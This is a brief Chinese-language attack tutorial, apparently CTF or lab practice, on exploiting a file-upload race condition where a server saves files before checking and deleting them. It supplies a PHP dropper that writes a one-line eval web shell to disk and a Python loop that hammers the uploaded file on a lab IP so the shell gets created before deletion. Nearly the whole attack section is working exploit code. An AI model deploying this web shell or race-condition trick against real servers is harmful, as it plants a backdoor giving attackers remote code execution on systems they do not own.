upload-条件竞争

一、原理：

由于服务器后端设计为，先保存再检验，不合理删除。所以可以使用条件竞争。ClientA不断上传同一份文件的同时ClientB不断尝试访问这个文件，如果访问成功则文件执行。

二、文件写入一句话木马

<?php
fputs(fopen('a.php','w'),'<?php eval($_POST[1]); phpinfo(); ?>');
?> //a.php为该文件创建的一句话木马文件

三、准备进行批量访问的脚本

import requests
shellname='shell.php'
url=f"http://10.1.1.124:8099/upload/{shellname}"
while 1:
    requests.get(url)

四、RUN!

五、结束